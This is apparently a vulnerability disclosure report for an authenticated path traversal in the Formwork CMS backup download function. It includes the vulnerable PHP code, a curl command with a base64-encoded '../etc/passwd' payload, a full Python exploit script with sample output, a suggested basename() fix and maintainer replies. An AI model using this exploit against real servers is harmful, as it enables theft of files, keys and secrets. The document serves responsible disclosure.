Path Traversal - Download remote files by exploiting the backup functionality (Authenticated) in getformwork/formwork
Reported on
Oct 25th 2022
Description
The vulnerability found in the backup system allows an Administrator of the CMS to download any files on the remote file system (not only backup files) by exploiting a "Path Traversal".
The vulnerability does not require any user interaction and is very simple to exploit.
Proof of Concept
The "Path Traversal" vulnerability is located inside the download
function of the Backup
class. The function is mapped to the route POST /admin/backup/download/{backup}/
.
Here is the vulnerable function :
public function download(RouteParams $params): void
{
$this->ensurePermission('backup.download');
$file = $this->option('backup.path') . base64_decode($params->get('backup'));
try {
if (FileSystem::isFile($file, false)) {
HTTPResponse::download($file);
} else {
throw new RuntimeException($this->label('backup.error.cannot-download.invalid-filename'));
}
} catch (TranslatedException $e) {
$this->notify($this->label('backup.error.cannot-download', $e->getTranslatedMessage()), 'error');
$this->redirectToReferer(302, '/dashboard/');
}
}
The backup
parameter corresponds to the base64 encoded path of the file that will be downloaded. Normally, the value of the parameter corresponds to backup file like for example localhost-formwork-backup-20221025161507.zip
(base64 encoded).
As you can see, the path of the file to download is concatenate with a constant value without filters. So, you can download file like /etc/password
by requesting a download with value ../../../../../etc/passwd
. You can exfiltrate all the files of the remote file system as long as you have the permission to read it.
You can exploit the vulnerability with a simple curl
command.
$ curl 'http://localhost/admin/backup/download/Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D/' -b 'formwork_session=1785e5f9e775da102b559ba468628ff0' -d 'csrf-token=28Qt6jtr1acE8tYnxPRrkCWbzjFSExaRM006WOlzjJMil/3d' --output passwd
$ cat passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
[...]
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA=
is equals to../../../../../../../../etc/passwd
.
I also made a Python script to exploit the vulnerability.
#!/usr/bin/env python3
import argparse
from base64 import urlsafe_b64encode
from requests import Session
HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
}
ADMIN_DASHBOARD = "/admin/dashboard/"
BACKUP_DOWNLOAD = "/admin/backup/download/"
def get_csrf_token(base_url, session):
"""Get the CSRF token."""
cookies = {"formwork_session": session}
resp_content = sess.get(base_url + ADMIN_DASHBOARD,
cookies=cookies, headers=HEADERS).text
csrf = resp_content.split('<meta name="csrf-token" content="')[1]
return csrf.split('"')[0]
def download(base_url, file_path, session):
"""Download file using Path Traversal vulnerability inside backup functionality."""
cookies = {"formwork_session": session}
data = {"csrf-token": get_csrf_token(base_url, session)}
b64_file_path = urlsafe_b64encode(file_path.encode()).decode("utf-8")
print(f"Try to download '{file_path}'...")
print(f"Cookies : {cookies}")
print(f"CSRF : {data}")
print(f"Base64 file : {b64_file_path}")
resp = sess.post(base_url + BACKUP_DOWNLOAD + b64_file_path + "/",
cookies=cookies, data=data, headers=HEADERS)
return resp.content
def write_output(output_path, content):
"""Write content inside output file."""
with open(output_path, "wb") as output_file:
output_file.write(content)
print(f"Ouput saved in '{output_path}'.")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("base_url", help="Base URL of the formwork instance (ex: http://127.0.0.1:8080).")
parser.add_argument("-p", help="Relative path to the file to download (ex: ../../../../../../../etc/passwd).")
parser.add_argument("-o", help="Path of downloaded file on your machine (ex: exfil.out).")
parser.add_argument("--session", help="Value of your formwork_session cookie")
args = parser.parse_args()
base_url = args.base_url.strip("/")
file_path = args.p
output_path = args.o
cookie = args.session
sess = Session()
content = download(base_url, file_path, cookie)
write_output(output_path, content)
Here is an example of execution :
$ python3 formwork_path_traversal.py 'http://localhost' -p '../../../../../../../etc/passwd' -o passwd --session '63aa2789ea6687f702dc2f01359952c0'
Try to download '../../../../../../../etc/passwd'...
Cookies : {'formwork_session': '63aa2789ea6687f702dc2f01359952c0'}
CSRF : {'csrf-token': '2RPc00/2WuMSLXkdAyD2Ctq7oW0k1h/V9fSi3XoR1wKs2fJR'}
Base64 file : Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Ouput saved in 'passwd'.
$ cat passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
[...]
Impact
You can exfiltrate all the files of the remote file system as long as you have the permission to read it. For example you can download /etc/passwd
, SSH keys, configuration files, secrets ...
Occurrences
SECURITY.md
a year ago
Great work @xanhacks 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.
Hey, you're welcome.
You can use the basename($path) function in PHP that returns the file name of the given path. This will prevent accessing file from another directories that the backup
one.
Have a nice day !
Hey @maintainer @admin !
Could we assign CVE id for this vulnerability ?
Regards